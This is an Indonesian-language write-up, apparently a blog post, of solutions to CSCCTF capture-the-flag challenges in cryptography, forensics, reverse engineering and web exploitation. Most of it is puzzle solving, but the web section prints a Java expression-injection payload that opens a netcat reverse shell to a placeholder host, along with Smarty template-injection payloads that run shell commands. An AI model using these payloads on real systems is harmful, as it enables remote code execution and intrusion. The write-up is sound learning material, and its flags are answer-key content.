Daftar Isi
Cryptography
Here We Go Again
Executive Summary
Another good old menu in our cryptography section
Author: EternalBeats
Technical Report
Diberikan file encrypted.txt. Berikut penampakannya
Ada 1 modulus, 1 eksponen, dan 36 ciphertext. Kami menduga bahwa tiap karakter flag di encrypt. Jadi kami melakukan brute force, jika karakter yang di encrypt sama dengan ciphertext index ke-i, maka kita menemukan karakter flag. Berikut adalah full scriptnya
from Crypto.Util.number import *
var = open("encrypted.txt","r").read().strip()
exec(var) #n,e,cipher[]
flag = ""
for c in cipher:
for m in range(256):
res = pow(m,e,n)
if res == c:
flag += chr(m)
break
print("FLAG:",flag)
Hasil
Flag
Flag: CSCCTF{Rs4_d3crYpt10n_By_3ncRypT10n}
Forensic
Aing, Robot
Executive Summary
Sketch like Sonny https://www.youtube.com/watch?v=Bs60aWyLrnI
Author: Bigby
File: robot.mp4
Technical Report
Diberikam sebuah video dengan background putih dan kami melihat di beberapa frame pada video terdapat garis - garis hitam dengan pola yang menarik. Hal pertama yang kami pikirkan adalah mencoba menggabungkan semua frame pada video tersebut dan menghapus background putih. Berikut scriptnya:
Setelah dijalankan kami mendapatkan hasil seperti ini
Semua file tersebut adalah frame dari video yang sudah diedit backgroundnya menjadi transparan. Kami kemudian menggabungkan semua frame tersebut menggunakan gimp. Berikut penampakannya:
FLAG
CSCCTF{M4NT4P_53K4R4N9_B3rS1hK4n_F1L3}
Reverse Engineering
Welcome to CSCCTF
Executive Summary
Welcome to CSCCTF! Begin your reverse engineering journey from this problem. Can you find the key?
Author: darmads
Technical Report
Diberikan sebuah file apk. Langsung saja decompile online, dan baca sourcenya. Kode yang terpenting terdapat pada line code berikut ini.
public final boolean check(String kunci) {
String str = kunci;
Intrinsics.checkParameterIsNotNull(str, "kunci");
if (kunci.length() >= 25 &&
str.charAt(20) - str.charAt(0) == 24 &&
str.charAt(8) + str.charAt(5) == 126 &&
str.charAt(14) * str.charAt(5) == 3696 &&
str.charAt(21) - str.charAt(1) == 33 &&
str.charAt(10) - str.charAt(0) == 2 &&
str.charAt(17) - str.charAt(0) == 19 &&
str.charAt(17) * str.charAt(1) == 3848 &&
str.charAt(4) + str.charAt(6) == 123 &&
str.charAt(13) * str.charAt(16) == 4488 &&
str.charAt(1) * str.charAt(6) == 2600 &&
str.charAt(13) * str.charAt(23) == 3536 &&
str.charAt(8) - str.charAt(5) == 14 &&
str.charAt(15) + str.charAt(5) == 123 &&
str.charAt(20) - str.charAt(17) == 5 &&
str.charAt(17) + str.charAt(16) == 140 &&
str.charAt(16) + str.charAt(14) == 132 &&
str.charAt(3) * str.charAt(6) == 4250 &&
str.charAt(18) + str.charAt(14) == 145 &&
str.charAt(13) * 2 == 136 &&
str.charAt(17) - str.charAt(10) == 17 &&
str.charAt(11) + str.charAt(8) == 145 &&
str.charAt(9) + str.charAt(1) == 135 &&
str.charAt(11) + str.charAt(24) == 146 &&
str.charAt(3) - str.charAt(7) == 11 &&
str.charAt(0) - str.charAt(2) == 2 &&
str.charAt(11) - str.charAt(13) == 7 &&
str.charAt(3) + str.charAt(4) == 158 &&
str.charAt(3) - str.charAt(16) == 19 &&
str.charAt(4) - str.charAt(14) == 7 &&
str.charAt(12) * str.charAt(1) == 4056 &&
str.charAt(20) + str.charAt(8) == 149 &&
str.charAt(9) - str.charAt(4) == 10 &&
str.charAt(9) - str.charAt(6) == 33 &&
str.charAt(9) * str.charAt(13) == 5644 &&
str.charAt(16) + str.charAt(5) == 122 &&
str.charAt(16) - str.charAt(10) == 9 &&
str.charAt(17) + str.charAt(24) == 145 &&
str.charAt(20) - str.charAt(13) == 11 &&
str.charAt(18) * str.charAt(11) == 5925 &&
str.charAt(21) * str.charAt(23) == 4420 &&
str.charAt(22) * str.charAt(7) == 5698 &&
str.charAt(15) - str.charAt(19) == 12 &&
str.charAt(16) - str.charAt(1) == 14 &&
str.charAt(3) - str.charAt(13) == 17 &&
str.charAt(12) * str.charAt(8) == 5460 &&
str.charAt(21) * str.charAt(13) == 5780 &&
str.charAt(7) * str.charAt(1) == 3848 &&
str.charAt(22) + str.charAt(6) == 127 &&
str.charAt(13) + str.charAt(5) == 124 &&
str.charAt(24) + str.charAt(1) == 123) {
return true;
}
return false;
}
Sepertinya, apk tersebut meminta sebuah serial key untuk dimasukkan, jika true maka akan menghasilkan flag. Dan pengecekan serial key akan dilakukan pada line code diatas. Untuk men-generate serial key, kami menggunakan z3solver. Berikut kode yang kami buat untuk mendapatkan serial key tersebut.
from z3 import *
vars = [Int(str(i)) for i in range(25)]
s = Solver()
s.add(vars[20] - vars[0] == 24)
s.add(vars[8]+ vars[5] == 126 )
s.add(vars[14] * vars[5] == 3696)
s.add(vars[21] - vars[1] == 33)
s.add(vars[10] - vars[0] == 2)
s.add(vars[17] - vars[0] == 19)
s.add(vars[17] * vars[1] == 3848)
s.add(vars[4]+ vars[6] == 123 )
s.add(vars[13] * vars[16] == 4488)
s.add(vars[1]* vars[6] == 2600 )
s.add(vars[13] * vars[23] == 3536)
s.add(vars[8]- vars[5] == 14 )
s.add(vars[15] + vars[5] == 123)
s.add(vars[20] - vars[17] == 5)
s.add(vars[17] + vars[16] == 140)
s.add(vars[16] + vars[14] == 132)
s.add(vars[3]* vars[6] == 4250 )
s.add(vars[18] + vars[14] == 145)
s.add(vars[13] * 2 == 136)
s.add(vars[17] - vars[10] == 17)
s.add(vars[11] + vars[8] == 145)
s.add(vars[9]+ vars[1] == 135 )
s.add(vars[11] + vars[24] == 146)
s.add(vars[3]- vars[7] == 11 )
s.add(vars[0]- vars[2] == 2 )
s.add(vars[11] - vars[13] == 7)
s.add(vars[3]+ vars[4] == 158 )
s.add(vars[3]- vars[16] == 19 )
s.add(vars[4]- vars[14] == 7 )
s.add(vars[12] * vars[1] == 4056)
s.add(vars[20] + vars[8] == 149)
s.add(vars[9]- vars[4] == 10 )
s.add(vars[9]- vars[6] == 33 )
s.add(vars[9]* vars[13] == 5644 )
s.add(vars[16] + vars[5] == 122)
s.add(vars[16] - vars[10] == 9)
s.add(vars[17] + vars[24] == 145)
s.add(vars[20] - vars[13] == 11)
s.add(vars[18] * vars[11] == 5925)
s.add(vars[21] * vars[23] == 4420)
s.add(vars[22] * vars[7] == 5698)
s.add(vars[15] - vars[19] == 12)
s.add(vars[16] - vars[1] == 14)
s.add(vars[3]- vars[13] == 17 )
s.add(vars[12] * vars[8] == 5460)
s.add(vars[21] * vars[13] == 5780)
s.add(vars[7]* vars[1] == 3848 )
s.add(vars[22] + vars[6] == 127)
s.add(vars[13] + vars[5] == 124)
s.add(vars[24] + vars[1] == 123)
print s.check()
print s.model()
w = {5 : 56,
21 : 85,
3 : 85,
19 : 55,
22 : 77,
23 : 52,
18 : 79,
20 : 79,
16 : 66,
9 : 83,
6 : 50,
4 : 73,
8 : 70,
12 : 78,
14 : 66,
11 : 75,
2 : 53,
7 : 74,
24 : 71,
13 : 68,
17 : 74,
15 : 67,
10 : 57,
1 : 52,
0 : 55}
test = []
for i in w:
test.append(i)
serial = ''
for i in range(len(w)):
serial += chr(w[test[i]])
print serial
Jalankan scriptnya.
Akan didapatkan serial key seperti itu, langsung saja masukkan ke apknya.
Ternyata flagnya adalah serial key tersebut, hanya saja ditambahkan karakter “-” tiap 5 karakter.
Flag
CSCCTF{745UI-82JFS-9KNDB-CBJO7-OUM4G}
Higher Please
Executive Summary
Objective: Grab the flag!
Author: darmads
https://drive.google.com/file/d/1PpoawEkFW0tIh_UmTlKVcERdQZ2YTc_o/view?usp=sharing
Technical Report
Diberikan sebuah game dengan unity. Namun, karena kategori challenge ini adalah REVERSE, kami memutuskan untuk melakukan decompile terhadap file AssemblyC-Sharp.dll untuk melakukan reversing terhadap game tersebut. Pada hint juga disebutkan untuk menabrakkan diri ke tulisan FLAG untuk mendapatkan flag. Kami menggunakan dnSpy untuk mendecompile file tersebut dan mengcompilenya kembali dengan kode yang baru sehingga karakter kami bisa terbang dan menabrakkan diri terus menerus kepada flag, sayangnya flag tak kunjung muncul. Akhirnya kami putus asa dan salah satu dari team kami memiliki ide konyol untuk melakukan strings pada setiap file dan mencari string CSCCTF{ untuk mendapatkan flagnya.
Ternyata gamenya gak perlu di reverse >:(.
Reversenya kox jadi forensic >:(.
Flag
CSCCTF{1_H0pe_I_w4s_b0rn_T4ll3r}
Web Exploitation
Speliberg
Executive Summary
Author: Siahaan
Technical Report
Diberikan sebuah web & source code nya yang di buat menggunakan bahasa pemrograman java. Berikut isi filenya
Dari file yang diberikan kami melihat adanya vuln rce yang terletak pada file MovieController.java di variable expr yang bisa di esacape.
Disini kami mencoba melakukan reverse shell pada input title dengan cara mengescape petik sebagai berikut:
' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + '
Pada tab home kami ketikkan lagi payload tadi agar tereksekusi
Flag ada di dir /. Tinggal di cat
Flag
CSCCTF{sst1_4lways_haz_freinds}
not-so-smart
Executive Summary
I only wanna marry someone who's smarter than me - xomeone
Author: ArkAngels
Flag ada di /
Technical Report
Diberikan sebuah web dengan vuln SSTI, awalnya saya sangat terfokus pada payload SSTI pada Twig karena terlalu sering SSTI pake twig.
Ternyata judul soal adalah hint dari challenge ini, akhirnya kami mencoba untuk memakai payload smarty. Berikut payload yang kami gunakan.
{php}echo `ls /`;{/php}
Akhirnya berhasil ls. Selanjutnya tinggal cat flag tersebut dengan payload
{php}echo `cat /f*`;{/php}
FLAG
CSCCTF{you_are_smarter_than_MEH!}
iHateDevelopers
Executive Summary
Author: Siahaan
http://128.199.77.174:20201
Technical Report
Diberikan URL yang berisi permainan PacMan. Berikut penampakannya
Ketika kita akan melihat source, kita disambut dengan alert.
Langsung saja kita mematikan JavaScript di browser, refresh page, view source. Ternyata flag ada langsung di source
FLAG
CSCCTF{for_those_wh0_rely_on_JS_4lone}
Top comments (0)